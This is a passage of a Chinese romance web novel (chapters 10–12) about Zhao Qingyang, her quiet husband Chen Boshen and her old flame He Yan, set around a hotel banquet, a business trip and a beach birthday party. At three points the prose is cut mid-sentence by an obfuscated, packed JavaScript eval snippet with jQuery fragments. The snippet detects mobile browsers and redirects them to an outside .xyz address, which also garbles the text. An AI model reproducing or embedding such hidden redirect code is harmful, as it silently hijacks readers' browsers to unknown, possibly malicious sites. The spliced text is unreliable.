陈柏深问:“清扬呢?” “在忙。你找她什么事?” “你把电话给她。”陈柏深说。 “都说了她在忙。”贺延逐字逐句加重,“有什么事你跟我说,我帮你转告。” 陈柏深耐着性子,“你们在哪?” 本不抱希望贺延会认真回答,不料贺延却笑,“酒店。” 10. 第 10 章 贺延说完马上就挂了电话,陈柏深捏着手机杵在原地,好一会儿才鼓起勇气重新发消息,“需要我去接吗?” 他赌手机会回到赵清扬手上。 消息刚发出去,赵清扬的电话就来了,“你要来吗?” 是赵清扬的声音。他赌对了。 “刚刚我在试衣服,朋友就帮我接了电话。”赵清扬像是生怕他误会什么,事无巨细解释了一长串,“他说想给你发地址,但挂了电话才发现手机没有解锁不能发消息。” 陈柏深:“你这位朋友是贺延?” 赵清扬心里一紧,“……你知道?” “他刚刚在电话里自我介绍说过。”陈柏深说。 赵清扬松一口气,继续解释,“今晚贺延他妈妈要参加晚宴,我去给她送点东西,刚好办晚宴的那位叔叔我也认识,就临时带上我一起去……我现在在酒店换衣服,你要来吗?那位叔叔人很好说话,而且年轻时候跟你一样也在做气象研究,后来转行做生意,公司还和你们单位有过合作,他叫随应礼,你应该有印象。在场应该也有你的同行,到时候我跟随叔叔说一声,叫随叔叔介绍你们认识。” 随应礼。 原来是这位前辈。 “你要来吗?”赵清扬又问一次,顺便把定位发过去,考虑到陈柏深性格内敛怕他怯场,又体贴补充,“你放心,我会一直陪着你,不会让你落单。” “你不想来也没关系,结束了我自己打车回去,你早点休息。” 陈柏深看一眼酒店位置,心里瞬间有了底。这家酒店承办过多场座谈会和研讨会,他受邀来过很多次。 陈柏深很快估算好时间,“我对这里不太熟悉,你能在门口接一下我吗?我半小时后到。” 赵清扬为他终于不再闷在家里的勇敢突破感到开心,“好,我现在就下去等你。” 贺延余光瞥见赵清扬提起裙摆要走,问她要去哪。 “我去接个人。” 贺延走过来帮她提裙摆,“门口有人负责引导入场。” “他可能不适应这种人多的场合。”赵清扬放心不下,“我很快回来。” “你要接的人是陈柏深?”贺延问。 第一次从贺延口中听到陈柏深的名字,赵清扬心脏没来由漏跳一拍,心虚抬头盯住他双眼,缓慢点头。 “你叫他来干什么?”贺延轻皱眉,语气透出一丝不容忽视的不悦。 “我.....” “我妈邀请的是你,不是他。” 赵清扬后知后觉自己行为越界,掏出手机让陈柏深先别来,贺延却又一把按住她的手,“算了,他要来就来吧,多他一个不多。” 说完,电梯门开,贺延把裙摆往地上一放,从口袋里掏出烟盒,示意她先走。 赵清扬心里不是滋味,进了电梯后没按楼层,犹豫几秒后重新按开了门,贺延身边却已经多了一个同样西装革履的孟畅。 贺延指间夹着烟,单手撑在窗边吐出一团烟雾,“……我妈闲着没事干啊,专门介绍他们夫妻俩给随应礼认识?不知道的还以为陈柏深是她儿子。” “让他来还真来,这里除了赵清扬谁认识他?真特么把自己当回事。” “你真不懂清扬什么意思?你把人家拐到这里不让人走,她不叫陈柏深来,难不成跟你一起被别人误会你俩是一对?”孟畅说,“随叔本来就喜欢认识年轻人扶持晚辈,你妈也不见得小气到这种地步,就你一肚子火。” 贺延抖抖烟灰,单手解开领口两颗扣子,冷哼一声,眼睛望进无边夜色,没答话。 孟畅也点了根烟,“你觉不觉得陈柏深这个名字很耳熟?” “听到就烦。” 孟畅失笑,“人家喜欢你的时候你不在乎,现在人家结婚了你又不乐意。” 贺延静静看他两秒,“……跟你说话也烦。” 话不投机半句多,贺延转身要走,赵清扬怕他发现自己,赶紧退回电梯间猛按关门键。 贺延转头瞥见电梯门缝里一闪而过的艳红裙摆,果断掐灭了烟,三两步走过去硬生生掰开电梯门,目光锁定里面的赵清扬。 慌乱却强装镇定的模样,明显不搭他费尽心思为她定制的明艳红裙。一字肩礼裙剪裁得当,勾勒出诱人曲线,贺延的目光却不受控落在她腹部。 貌似还不明显。 可什么时候连陈柏深那种书呆子也值得她挂心了?学生时代一次正眼都没瞧过的路人,在他出国没几年之后就跟她结了婚。 明明拿不出手,她却愿意结婚。 匆忙得来不及告诉朋友,没有办婚礼,甚至没有婚戒,却和陈柏深成了法律上的夫妻。 除了奉子成婚,还能因为什么? 早在一开始他就该想到。而不是挂掉陈柏深电话后看到那条孕检中心预约成功的短信之后还在这里自欺欺人。 孟畅见贺延脑袋不清醒,被门夹了也不知道松手,赶紧过来拉他,“你干什么你?门都要关了你还挡?” 贺延抽回被夹肿的手,最后再看一眼里面的赵清扬,任由电梯门重新合上,“没什么,我以为能赶上。” “错过就算了。” —— 今晚路况良好,没有遇到塞车,陈柏深提前十分钟到达酒店,把钥匙交给泊车员,走进大堂后才远远看到赵清扬一个人坐在角落的沙发里摆弄手机。 妆容精致衣着华丽,脸色却不好。 下一秒,口袋里手机震动,他收到她的消息,“要不你别来了。” 瞬间又撤回,换成:“你到哪里了?” 陈柏深站在原地,隔了两分钟见她没有再撤回,这才回复,“怎么了?” 赵清扬低头对着屏幕编辑了许久,他才收到一条简短的消息,“我身体有点不舒服,想回家。” “哪里不舒服?” “头晕。” “我去接你。” “好。” 转身重新走出酒店大门,陈柏深拿回钥匙把车开到附近药店门口停好,这才给赵清扬打电话叫她出来。 赵清扬没坐副驾驶,闷闷钻进后座,见陈柏深也换上正装系了领带,第一句话是向他道歉,“不好意思,害你白跑一趟。” “没事,我下午有会,开完会刚好赶来。头还晕吗?要不要去拿药?” “不用,我睡一会儿就好。” “吃饭了吗?” “没胃口。” 回到家时刚好开始下雨,赵清扬卸掉脸上花费了两个多小时的妆容,一言不发进浴室洗澡,洗完了静静坐到他床上。 陈柏深给她熬了开胃的粥,端进房间让她填填肚子,赵清扬没说什么,拿起勺子一口接一口抿,陈柏深拉紧了窗帘,从浴室拿来吹风机,调好温度和风速,站在后面给她吹头发。 赵清扬喝粥的动静很轻,整个房间只有徐徐的风声。很快,赵清扬察觉到了异样,“今天好像没有闪电,雷声也小了点。” “我装了遮光窗帘,可能也起到了一点隔音作用。”陈柏深捏着她湿润的头发解释说,“明天有师傅来安装专门的隔音材料,看能不能起效果。” 赵清扬没想到他为了不和她一起睡,恨不得把整个房子都改造一遍,于是没再接话,继续静静喝粥。 何必这么心急呢,她认识陈柏深还不到两个月。 她和贺延认识了十几年,不也什么都没发生。 头发吹干,赵清扬刚好也喝完粥,端着空碗转过身来问陈柏深是不是还没吃饭。 陈柏深知道她这是饿了,收好吹风机,进厨房打开冰箱开始找食材,“想吃什么?” “都行。”赵清扬心里空落落,环顾四周只想找点什么东西填补贺延的位置。既然已经错过,总不能一直空缺。 吃点东西也好,找个什么人抱一抱也好。 越过岛台从背后抱住陈柏深,赵清扬把脸埋进他的白衬衫里,深深吸一口气。 没有特制的香水味,还是熟悉的、令人安心的干净味道。和高中时候的贺延一样。 陈柏深空不出手扒开她,却也不奇怪她突如其来的亲昵行为,赵清扬便像树袋熊一样安安静静贴在他后背走来走去备食材和佐料。等要开火了,陈柏深才叫她松手,小心溅到热油。 赵清扬不想松开,拿脸蹭他挺直的背脊,“我不松手。你想想办法。” 陈柏深于是把计划要炒的鸡胸肉放进砂锅,加入佐料去焖。但盖上锅盖时,电话又响了起来。 陈柏深垂眸。和今天中午一样。 故事重演,贺延又要把她从他身边带走了。 这次会是什么借口?让她把那条华美的裙子还回去,然后趁机霸占她的时间,还是直截了当把她叫走? 然而意料之外,赵清扬没去接电话,反而将他抱得更紧。 铃声单调,响过一轮又一轮,仿佛专为他们独处而播放的背景音。陈柏深心里尘埃落定,转过身来劝她,“先去接电话吧,说不定有急事。” 赵清扬松开他,却在饭桌前坐了下来,“我来看火,你去帮我接。” 陈柏深没说什么,解下围裙走到沙发旁,拿起手机按下接听键,“喂?” 电话那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419269|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的人似乎没想到是他来接电话,好一会儿才开口,“我找赵清扬。” 陈柏深正要回话,却突然被一股力量推倒在沙发,猝不及防差点连手机都摔出去。贺延听出他这边的异样,语气迟疑,“她在家吗?” 陈柏深盯着面无表情跨坐到他面前的赵清扬,大脑一片空白,张着嘴说不出话。 贺延自从电话接通后就一直没得到回应,逐渐不耐烦,“喂?” 赵清扬捧起陈柏深的脸,眼神向下落在他唇上,贺延远在电话另一头,却仿佛看穿了她幼稚的挑衅,气势突然颓丧,说话也软,“我找她没什么事。她刚说要去楼下接人,但我等了很久,一直没等到她回来,有点担心,就打电话来问问......她没事就好。” “你……照顾好她。” 电话自然挂断,赵清扬深吸一口气,双手撑在陈柏深肩膀,终究没能吻下去。 —— 不知道是不是巧合,第二天一早陈柏深就接到了要去临市出差的通知。 赵清扬装作没事人,努力不让自己去怀疑这是陈柏深为了躲她而找的借口,边低头吃早饭边问他这一趟要去多久。 陈柏深把手机文件打开来给她看,为期三天的工作培训计划表排得满满当当,实地考察、学校讲座、企业交流......赵清扬扫过一眼,直接把目光放在结束时间那一栏。 等第三天培训完都已经晚上九点半,而从临市回来至少要两个小时的车程,不出意外,他们这一班人最早会等到第四天再回来。 孟畅的生日会就在第三天晚上,看来她不用和陈柏深解释也能到场。 不过,陈柏深这几天不在家也有坏处。赵清扬清清嗓子,“你不在家这几天,我能叫我朋友来家里陪我吗?” 说完又很快补充,“是女的。” 话一出口,赵清扬就意识到自己根本就是多此一举。难不成她还能趁陈柏深不在,叫个男人来陪自己睡觉? 陈柏深倒没想太多,知道这几日天气恶劣,知道她晚上需要人陪,自然答应,“没关系,可以住进来。” 赵清扬也客气如初,“你放心,我们不会进你房间。” 傍晚,陈柏深提着行李箱前脚刚走,盛奕乔头顶一副墨镜就进来了,赵清扬还在房间里对着电脑处理工作,没空抽身,扬声叫她自便。 盛奕乔给自己倒了水,端着水杯一个房间接一个房间巡查,等赵清扬反应过来,她已经把陈柏深的房间看得彻彻底底。 “没想到陈柏深还挺爱干净的嘛,一点喜欢你的痕迹都没留下。” 赵清扬没空理会她的胡思乱想,赶紧把她拎出来,顺手关门,“这是人家隐私,你别随便乱走。” “他不关门又不锁门,我以为没人住。”盛奕乔无辜道。 赵清扬拿她没办法,点开外卖软件递给她,很快又坐回去继续对着电脑工作,“想吃什么自己点。” 盛奕乔于是接过她手机,盘腿坐到床上开始挑选,还没挑几分钟,陈柏深就来了消息,说冰箱里有食材,他都已经处理过,酱料也准备齐全,她把东西放进锅里按下开关煮就好。 盛奕乔懒洋洋告诉赵清扬,“陈柏深给你发消息,说他准备好了食材。” 赵清扬专注工作,也不知道听没听进去,“嗯。” 盛奕乔:“我帮你回他?” 赵清扬还是一声模糊的“嗯”。 盛奕乔于是替她打字回复:“行。” 陈柏深:“有什么不明白的可以问我。” 盛奕乔心说做个饭能有多大难度,利索下床去翻冰箱准备动手做一次晚饭,谁知看到满满一冰箱的蔬菜瓜果肉,顿时花了眼,“你说的里脊肉是哪个?” 陈柏深发过来一份文件。盛奕乔打开来看,发现里面有每一层食材的照片,每一样食材都用文字标明了名称和做法还有搭配。 一个个搭配单拎出来没什么特别,但排列在一起就显得别有用心。盛奕乔后知后觉文件里列举的都是赵清扬偏好的菜式,夸奖信手拈来,“你真细心。” 盛奕乔扪心自问,这句夸奖不掺半点水分。陈柏深和赵清扬认识不到两个月,却能在赵清扬每次“吃什么都行”的回应下精准筛选出她的喜好,不得不说观察力惊人。 毕竟关于赵清扬喜欢吃什么这件事,她作为她最好的朋友,摸索了多年才得出经验。 观察力敏锐如陈柏深立马认出回复她的不是赵清扬本人,“你是清扬的朋友吗?” 盛奕乔马上自报姓名,“我叫盛奕乔。还记得我吗?” 陈柏深不回消息了。 11. 第 11 章 不回答就是默认,盛奕乔势在必得,直接一通语音电话打过去,同时溜进旁边的书房顺便带上门。 陈柏深过了很久才拒接,“我现在不方便接电话。” 盛奕乔“啧”了一声,真不方便接电话的话一开始就挂断了,犹豫这么久才拒接,只有一个可能—— “害羞什么,清扬早就发现了。” 意料之中,陈柏深隔着手机屏幕又装死,输入了半天什么也没发过来。 盛奕乔不指望他马上回复,悠哉悠哉捏着手机先环顾一圈打量周围的陌生环境。书房不大,但有一整面墙摆满了杂书,分门别类码得整齐,靠窗的一侧则插空放了几个相框。 盛奕乔好奇仰头去一一去看。全家福、集体照、毕业照......为数不多的几张照片浓缩了陈柏深规规矩矩的成长轨迹,但盛奕乔很快发现,其中有一张照片明显少了一个人。 那是他们班参加夏季校运会时拍下的全员合照,但那天赵清扬请了病假,不仅没去啦啦队,还错过了合照。不过那次运动会里,向来不热络于比赛和集体荣誉的陈柏深难得报名了项目,听说还为了拿到名次每天都坚持去操场进行长跑练习,整整一个月,没有一天中断。 盛奕乔心里直叹气,看来两个人真是没缘分,他们班当年拍了那么多合照,但对于陈柏深个人来说意义最大的一张里,偏偏只有赵清扬缺席。 — 赵清扬忙完工作进书房,就见盛奕乔拿着一个相框仔细端详,于是凑过去趴在她肩头看,“这是什么?” 盛奕乔很是大方把合照递给她看,“但凡你那天没生病,说不定陈柏深真能认出你。” 赵清扬接过来一看,果然没在上面找到自己,反倒一眼认出捏着奖牌笑得意气风发的贺延。 赵清扬把相框放回原位,“其实那天我没生病。” “嗯?” “那天我爸妈把我接走,去医院看望他们生病的朋友。”赵清扬说,“反正我没有比赛项目,也不用上课。” “可你当时不是答应了贺延要给他加油……” “他不也耍过我。”赵清扬无所谓道,“他一点也不重视比赛,报名了也不去训练,我去不去加油有什么关系。” 盛奕乔无可奈何叹气,“我真不明白当初你俩一直互相暗暗较什么劲,他放你一次鸽子,你晾他一次,他再晾你一次,你又气他一次……有意思吗?” 说着说着,盛奕乔脑袋一激灵,目光移行到书架上的相框。 贺延不努力训练,有的是人努力训练,还不是一般的努力。 难道陈柏深一反平常费尽心思去训练,就为了赵清扬能喊一声他的名字,给他加油?但赵清扬那天反悔没去,成了这胆小鬼青春里的遗憾,所以他才特地把这张合照摆出来怀念? 越想越荒谬,盛奕乔赶紧把这自恋过头的想法掐断。 ……但,万一呢? 盛奕乔暗叹。如果真是这样,这暗恋未免太隐蔽,也难怪赵清扬什么都感觉不到。 —— 照着陈柏深事无巨细的线上指导总算做好了一桌简单饭菜,盛奕乔从冰箱侧门拿出两罐饮料,“陈柏深确实适合结婚。” 赵清扬帮她把易拉环取掉,笑,“你喜欢就好。” 盛奕乔敲敲桌子,“诶诶,你这是什么话,什么叫我喜欢就好。” “开个玩笑。你要是不喜欢,我马上离。” 盛奕乔有时候真想给赵清扬脑袋瓜来一记,“说什么晦气话。” “这种天气还麻烦你跑一趟,不好意思。”赵清扬戴上一次性手套开始剥虾。 “什么好不好意思的,踩个油门的事儿。去那里玩是图新鲜,和你一起待着也舒服。”盛奕乔双手支着脖子看她剥虾,“孟畅的生日,你真要去?” 赵清扬剥虾动作不停,“为什么不去?” “直觉告诉我,你还放不下贺延。”盛奕乔直说。 心事被无情点破,赵清扬浑身一颤,假装镇定剥好一只虾,蘸了酱料放进盛奕乔嘴里,继续波澜不惊剥第二只,“放不下就在心里吊着吧。我总不能因为他一个人把你们都疏远了。” 盛奕乔以为她不在乎,边嚼边感慨,“要是贺延早一个月回来,怎么也轮不到陈柏深,真是阴差阳错……” “没什么阴差阳错。”赵清扬很快剥好了第二只虾,同样蘸好酱料堵住盛奕乔的嘴,“就算他提前回来,也改变不了什么。” 盛奕乔鼓着腮帮子,难以置信,“如果再来一次,你还会和陈柏深结婚?” 赵清扬笑得浅淡,“和他结婚没什么不好。” 回头想来,也许这场婚姻并不是她一时冲动的结果,而是她潜意识里斟酌后的选择。相比于陈柏深的沉闷和循规蹈矩,她更看中他稳定体面的工作,独立生活不被父母干涉的自由,踏实体贴又可靠的性格。 当然还有十分可观的身材和长相。 这些条件乍一看普普通通,可仔细去感受,才发现每一条都来之不易。稳定的工作是千军万马拼出来的岗位,和父母划清界限的独立更是难得,更别说在这浮躁社会中踏实做事。 她郁郁寡欢只是因为某个方面一直没有得到满足而已。 但真想满足也不难,等陈柏深回来,做完孕前检查,打消他所有关于健康方面的顾虑,一切自然水到渠成。 “你真喜欢上陈柏深了?”盛奕乔问。 “说不上多喜欢,反正不排斥跟他有肢体接触。”赵清扬坦言。如果可以,她真想堵住陈柏深那张古板无趣的嘴,然后抱住他一直不撒手。她现在心里被贺延搅得太空太乱,需要一个足够坚定的人来充盈。 而陈柏深稳重自持,无疑是最合适的那一个。 盛奕乔轻轻叹气。 “你在为贺延可惜?”赵清扬眉头往上一挑。没想到前几天还看不惯贺延的盛奕乔这么快就释怀了。 “倒没觉得可惜,单纯觉得造化弄人。别人都说毕业之后各奔东西,但现在兜兜转转,你身边还是我们这几个人。”盛奕乔说。 “朋友怎么会轻易走散。”赵清扬笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419270|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我和贺延都好说,但你真不觉得跟陈柏深重逢太巧了吗?”盛奕乔拿起筷子夹菜,漫不经心暗示道。 “可能就是缘分吧。” “哪来那么多缘分……除了我们,毕业之后你见过几个以前的同学?” 赵清扬见她呼之欲出,忍俊不禁更想逗她,“所以说缘分妙不可言啊。” 盛奕乔:“……” 行,还有比陈柏深这根木头更不上道的。 赵清扬见盛奕乔脸色变了又变,忍不住又笑,“就算他喜欢我,我什么都没发现,对我来说和不喜欢有什么区别?” 盛奕乔急了,“当然有区别啊,他以前喜欢你,现在也喜欢你,就是因为喜欢你才跟你结婚......” 赵清扬不为所动,反过来问她,“都已经结了婚,再去计较喜欢不喜欢又有什么用?” 他们早就错过了说喜欢的年纪。既然已经注定要一起生活下去,既然已经做出了选择,再谈感情又有什么用。 —— 陈柏深坐在候车厅,拜托同事帮忙看好他的行李,走远了去接盛奕乔再次打来的电话。 “不用紧张,我懒得删聊天记录才给你打电话,没什么重要的事。”盛奕乔开门见山,“我不干涉你和清扬怎么发展,所以刚才那些消息我会删掉。但这周末我们要去参加孟畅的生日聚会,这件事你知不知道?” 盛奕乔直来直往的个性还是没变,陈柏深明白自己再怎么遮掩都是徒劳,只好坦诚,“知道。” “我一会儿给你发地址。” 陈柏深不明白孟畅生日和他有什么关系,“我赶不回来。” 盛奕乔只当他在找借口,火气稍稍冒出头,“别装了,你要是看不出贺延还对清扬有意思,何必偷偷在她后脖子上留痕迹?她看不出来,不代表所有人都瞎。” 陈柏深沉默。 “你还记得贺延吗?”盛奕乔问。 陈柏深不再挣扎,点头,“记得。” “到时候他也会去。” “嗯。” “他不仅会去,还会带其他女人去,所以,你必须给我站在清扬旁边。”盛奕乔下命令,“不能让她被贺延比下去。” 陈柏深又沉默。 盛奕乔的火气被他时不时的沉默一下点燃,恨不得钻进手机里把他的嘴撬开,“我就问你一句话,你到底喜不喜欢清扬?” 陈柏深却没正面回答,“……我去不合适。” “哪里不合适?”盛奕乔一口气提上来,就差直接告诉他,赵清扬现在已经满脑子都是贺延而不自知,他再不做点什么,赵清扬迟早会被贺延忽远忽近的态度动摇。 她不想看到赵清扬一厢情愿结婚,又失魂落魄离婚,陷入自我怀疑的漩涡中。 可她怒气冲冲说了这么多,陈柏深还是沉默。 盛奕乔被他的不作为气得脑袋要发昏,“你特么真喜欢就做点光明正大的事,偷偷摸摸什么都不敢争取,谁在乎你那几顿饭?” “地址发了,你爱来不来。” 12. 第 12 章 三天时间一眨眼就过去,孟畅早早拉了群,特地让大家不必盛装出席,怎么舒服怎么来。赵清扬看了眼他的安排,烧烤、冲浪、沙排、夜钓……果然没了长辈管束,孟畅一点也不想附庸风雅,连个像样的酒店都没订,也没找人布置场地,纯粹一群人聚在一起疯玩。 赵清扬斟酌再三,把翻出来的礼裙挂回衣柜,掏出一件白色吊带背心,再配上花绿衬衫和浅色沙滩裤,墨镜往头上一别,一脚油门就和盛奕乔到了孟畅租下的滨海别墅外。 赵清扬停好车拿出礼物交给孟畅的功夫,盛奕乔早已经飞奔向烧烤架,赵清扬想跟上去,见贺延在跟一个她不认识的年轻女人打情骂俏,顿时没了兴致。 一个人找到一片树荫,赵清扬捧着椰子坐下慢慢喝椰子水。 期间有孟畅的其他朋友过来搭讪,邀她一起去打沙滩排球,赵清扬怕晒黑,又嫌沙子烫脚,一一婉拒。 孟畅很快注意到她这条安静得格格不入的漏网之鱼,小跑过来喊她上游艇一起去冲浪,赵清扬远远看了眼牵着女伴上游艇的贺延,“我晕船。” “你晕船?”孟畅奇怪,“什么时候的事?” “生理期就这样。”赵清扬不想多说,随口扯了个谎。 孟畅看她神情恹恹打不起精神,担心道:“还有哪不舒服?我扶你回屋休息?” “没那么严重,你玩你的。”赵清扬放好椰子站起来伸个懒腰,笑着朝他晃了晃手里的相机,“这里角度不错,我刚好留在这给你们拍点远景做纪念。” 孟畅一下乐了,“谢啦。有事记得发消息。” “知道了。去吧。” 盛奕乔远远看到孟畅没把赵清扬带过来,问他怎么回事,“怎么把她一个人留在那?” “她生理期,晕船。” 盛奕乔记得赵清扬生理期并不是这几天,也并不晕船,拿起手机问她,“你真不过来?” 赵清扬很快回复,“你们玩。” 盛奕乔知道她心里膈应贺延的女伴,也觉得指望不上陈柏深,“我下去陪你。” “不用。” “我怎么能把你一个人留在那里?” “真不用,你千万别下来,我真的没事。” 盛奕乔语气强硬,“那你给陈柏深发消息,告诉他你的位置。” “他出差赶不回来。”赵清扬说。 “你发了再说,说不定他提前结束,能赶来陪你。” “真没必要......”赵清扬推脱。 “你不发我就下去陪你,不玩了。”盛奕乔几乎是要挟的语气,赵清扬不想扫她的兴,只好给陈柏深发消息,“发了。你放心玩。” - 火红圆日缓缓没入海平面,天很快就黑了下来。 夜空在月光映照下黑得清透,头顶星光点点,底下三两烧烤架里炭火仍红得惹眼。近岸处两艘游艇齐头并进,欢声笑语肆意张扬,盛奕乔欢畅之余看了一眼海岸,偌大的沙滩上就一个花里胡哨绿衬衫在走走停停。 但距离太远,也认不出到底是不是赵清扬。 一偏头,发现贺延也在往岸上望,察觉到她的视线后,脚步一转径直朝她走了过来,“赵清扬怎么不上来?” 两人不过一臂距离,盛奕乔嗅到他身上甜腻的香水味,下意识皱眉,“她晕船。” 贺延捕捉到她的微表情,低头嗅了嗅衣领,“我怎么不知道她还有晕船的毛病。” 盛奕乔懒得多解释,“可能生理期吧,身体比较敏感。” 贺延还想多问两句,盛奕乔却已经转头离开,孟畅留意到他吃瘪,笑他怎么吃着碗里的还盯着锅里的。 “吃你个头。”贺延把孟畅的手从肩膀上甩下来,“那是我表妹。” “你不说,谁知道。” 贺延懒得跟他贫,“赵清扬真来生理期了?” “她亲口说的。骗你干什么。” “来生理期还在海边吹风?”贺延不信。 “说不定那不是她。” “我回去看看。” 孟畅抱臂,“这一船人呢,都跟着你走?上次没吵赢盛奕乔,这次还来?” 谁知贺延把上衣一脱,手一撑,跃过栏杆扑通一声就跳进了海里。前后不过一两秒,孟畅顿时傻了眼,好一会儿才反应过来,扑到栏杆上朝下大喊,“你要游回去?!” 贺延把头伸出海面,抹一把脸,随着海浪起伏回头丈量自己和海岸的距离,“又不远。” “贺延我干你大爷!!你要是专挑我生日这天死——”孟畅盯着深不见底的海面,喊得差点破音,贺延却仿佛没听见,头往下一钻,彻底没入翻涌黑暗中不见了踪影。 孟畅看着起伏的漆黑海面看得心里发慌,生怕闹出人命,赶紧给另一条游艇上的看护员打电话,“有人要游回去,刚下了海……你们派人开探照灯帮忙盯着,别声张,超过五秒看不见人就报警。” 看护员经验老到,一直在留意游艇上的情况,贺延跳下海第一时间就安排了救生艇开到他周围以防万一。接到孟畅电话后,看护员冷静给出更妥善的应急预案,“您别担心,船上配备了专业的救生员和营救设备,一旦出现问题,我们会第一时间展开营救……” 话音未落,贺延突然冒出头来换气,不缓不慢的从容仰泳姿态看得孟畅气不打一处来,恨不得把手机砸他头上,“救什么救,死海里得了。看不见人直接叫警察来捞尸。” 盛奕乔没走远,把孟畅的每一句大喊大叫都听得真切,走过来探头往下看了一眼。 那紧实匀称的肌肉线条……还真是贺延。 不紧不慢拿出手机,盛奕乔给赵清扬发消息,“陈柏深来了吗?” 赵清扬隔了一会儿才回,“还没有。” 盛奕乔无语得也想摔手机。 饭喂到嘴边都不知道吃,陈柏深这把真是输烂了。 - 赵清扬抱着相机拍了几张夜景,被猛烈海风吹得冷起一身鸡皮疙瘩,见游艇还没有回来的势头,陈柏深也没有要过来的消息,便打算先回别墅休息。 盛奕乔还是太天真,陈柏深哪里会为了她抛下工作赶过来。 可缩着脖子哆哆嗦嗦没走出几步,就听见背后一阵水声,还有机器的嗡鸣声,转头,刚好看到湿透了的贺延边喘粗气边从海面上站起来。 赵清扬心里一紧,马上从旁边躺椅上抓了条毛巾跑过去给他披上保暖,“出什么事了?怎么只有你一个人,你衣服呢?” 贺延把头发往脑后一抹,脸上海水沿着下巴成股往下滴,“衣服太臭,扔了。” 赵清扬悬着一颗心,无暇去管他扔什么衣服,一脸担忧,“其他人呢?” “他们没事。我累了,所以自己先游回来休息。”贺延冷得直发哆嗦,“你生理期还在外面晃?嘴唇都冷发白了还不回去?” 赵清扬看他一脸无所谓,海面上两艘游艇晃晃悠悠岁月静好没有发出求救信号,知道这又是他一意孤行,悬着的心终于放下,抓住他快步往回走,“我刚准备回屋你就回来了。” “看来今晚运气不错,赶上了。”贺延心情好,任由她拉着自己往前走,但皮肤隔着毛巾都能感受到她手指的冰冷,“你的手都快冻成冰了。生理期这么糟蹋身体?在等人?” 赵清扬回头白他一眼,松手不碰他,“你好意思说我?” 贺延笑得傻气,伸出手要拉她,“我就当冬泳锻炼身体。” 赵清扬双手抱住相机缩在胸前不给他碰,连脖子也缩进衬衫里,“嫌冷就别碰。” 贺延快步走到她面前,顺应她前进的节奏步步倒退,“你这身体素质,生理期还会晕船,就没考虑锻炼锻炼?” 生理期本来就胡扯的理由,现在贺延三句不离生理期,赵清扬越听越烦,“不是生理期,也没晕船,我工作不顺,没心情跟你们一块玩,就喜欢在岸边吹冷风折磨自己,这样说你满意了?” 她发了一通脾气,贺延反而更高兴,“我就说,你生理期明明在月末,怎么突然提前了这么多天。” “生理期本来就容易提前或者推迟。特别在看见了讨厌的人之后。”赵清扬往旁边跨出一步想越过他,但敌不过贺延眼疾脚快,刚刚好又堵在她面前,“你今天冷成这样,这个月会不会也推迟?” “可能吧。”赵清扬皱眉,“你问这些干什么?” 贺延避重就轻,“多了解一点也不是坏事。” 赵清扬只当他女朋友也在生理期,所以想了解多一点,也就没再多说什么。好不容易走出了沙滩回到别墅,赵清扬打开门,二话不说先把湿透了的贺延塞进浴室,“你赶紧洗个热水澡。” 贺延解下毛巾,赵清扬自觉别开视线不去看他裸露的上半身,转身离开,“我去煮点姜水驱寒。” 贺延见她红了脸,脸上笑意更浓,“记得给你自己也煮一份。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419271|184754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……废话。” 在陌生的厨房摸索一阵,竟然真给赵清扬找到了姜和红糖。下意识打开手机想问陈柏深两人份的姜水应该切多少姜放多少水加多少糖比较合适,打完字见陈柏深还没回复她前面的消息,只好全部删掉,老老实实去网上搜教程。 姜水煮好,贺延也从浴室出来。赵清扬猝不及防看到他肌肉匀称的上半身,飞快低头,“你快穿衣服。” “不穿。”贺延拉开椅子,在她对面坐下,大大方方开始喝红糖姜水。 “冷感冒了可没人管你。” 贺延不以为然,“感冒就感冒,又不是好不了。” “一会儿大家回来看到你这样……” “看就看呗。我身材不好?” 赵清扬受不了他的厚脸皮,“你女朋友能接受你不穿衣服跟其他女人一起吃东西?” “谁说她是我女朋友?” 贺延突然抬头,昏黄灯下一双眸子黑得发亮,像打磨后洗去了浮尘的黑宝石,光泽华丽却尖锐刺眼。 赵清扬猛地一愣。 “既然我能游上来找你,她就不可能是我女朋友。” 贺延见她眼里闪过一丝慌乱,知道现在还不是时候,于是又补了不咸不淡的一句,“不用管她。” 空气在这一瞬间凝滞,赵清扬低下头捏起勺子划拉碗里的姜块,没再说话。 贺延也不再插科打诨,一口接一口慢慢喝完整碗姜汤,找了件短袖套上,率先打破沉默,“你不洗澡?” 赵清扬把空碗拿进厨房清洗,“我回家再洗。” 贺延走进厨房,抄手靠在门边看她洗碗,“你几点回去?” 赵清扬看一眼手机,陈柏深仍没发来任何消息。 “再等一会儿吧。” 贺延留意到她看手机的小动作,“有人来接你?” 